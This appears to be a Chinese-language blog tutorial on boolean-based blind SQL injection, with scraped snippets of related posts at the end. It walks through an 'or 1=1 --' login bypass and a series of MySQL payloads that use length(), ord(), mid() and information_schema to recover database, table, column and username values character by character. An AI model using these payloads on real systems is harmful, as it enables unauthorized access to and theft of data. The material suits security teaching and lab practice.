條件:
當乙個頁面,存在注入,沒顯示位,沒有輸出sql語句執行錯誤資訊,只能通過頁面返回正常不正常進行判斷進行sql注入。
例如:
string sql
=null
;string a =
"admin' or 1 = 1 -- "
;string b =
'abc'
;sql
="select * from user where username = "
+"'"
+ a +
"'"+
"and password = "
+"'"
+ b +
"'";
最終傳送到資料庫的語句就是
select
*from
user
where username =
'admin'or1
=1-- ' and password = 'abc';
上面的語句返回的結果就是資料庫中的所有記錄。
因為對於所有記錄,它都會判斷 username 是否等於 admin 或者 1 是否等於1,而1=1為true滿足條件,就會被查出來,後面加了- -
,就將and password = 'abc'
注釋掉了,所以這裡跳過了sql驗證。
length(
database()
)>
1#判斷是否大於1,如果正確,就繼續下去,直到錯誤
ord(
mid(
database()
,1,1
))>
1
(
select length(table_name)
from information_schema.
tables
where table_scema =
database()
limit0,
1)>
1# 判斷名為databse()資料庫裡第1個表的長度是否大於1,不停的判斷,就能查到表的長度
# 這只是第乙個表,要想獲取第二個表,就將limit 0,1改為limit 1,1
ord(
mid(table_name,1,
1))>
1
(
select
count
(column_name)
from information_schema.
columns
where table_name=
'user'
and table_schema=
'mysql'
)>
1# user是表名,mysql是資料庫名
(
select length(column_name)
from information_schema.
columns
where table_name=
'user'
and table_schema=
'mysql'
limit0,
1)>
1# 修改limit後面的引數即可獲取目標欄位的長度
select ord(
mid(
(select column_name from information_schema.
columns
where table_name =
'user'
and table_schema =
'mysql'
limit0,
1),1
,1))
>
1# 爆每個欄位從第一位開始的十進位制值
select
(select length(username)
from
user
limit0,
1)>
1# 已經查出第乙個欄位的名字是username,查username的第乙個內容長度
select ord(
mid(
(select username from
user
limit0,
1),1
,1))
>
1
上面涉及到的函式
函式解釋
length( )
函式返回文字欄位中值的長度
ord(string)
將string轉換成十進位制值
mid(string,a,b)
將string從a開始向後擷取b個字元
limit m,n
m 代表從 m+1 條記錄行開始檢索,n 代表取出 n 條資料。
SQL注入 布林盲注
可以進行sql注入,但是不能通過sql注入漏洞看到資料庫中的資訊,但是可以通過真假判斷資料庫中的資訊 布林盲注的方法 構造邏輯判斷語句,判斷資訊的真假,取出所有的真值 以less 8為例 還是老步驟,初步判斷是否存在sql注入漏洞 返回you are in 無返回 可以初步判斷存在sql注入漏洞,並...
sql注入之 布林盲注
一 布林型盲注 盲注,就是在伺服器沒有錯誤回顯是完成的注入攻擊。伺服器沒有錯誤回顯,對於攻擊者來說缺少了非常重要的資訊,所以攻擊者必須找到乙個方法來驗證注入的sql語句是否得到了執行。注入原理 ascii ord 函式,返回字元ascii碼值 引數 str單字元 length 函式,返回字串的長度。...
SQL盲注 布林注入 筆記
存在sql注入漏洞 然而頁面即不會回顯資料,也不會回顯錯誤資訊,只返回 right 與 wrong 這裡我們可以通過構造語句,來判斷資料庫資訊的正確性,再通過頁面的 真 與 假 來識別我們的判斷是否正確,這即是布林盲注!構造邏輯判斷語句,判斷資訊真假,取出所有的真值,實現sql注入 方法例子 說明l...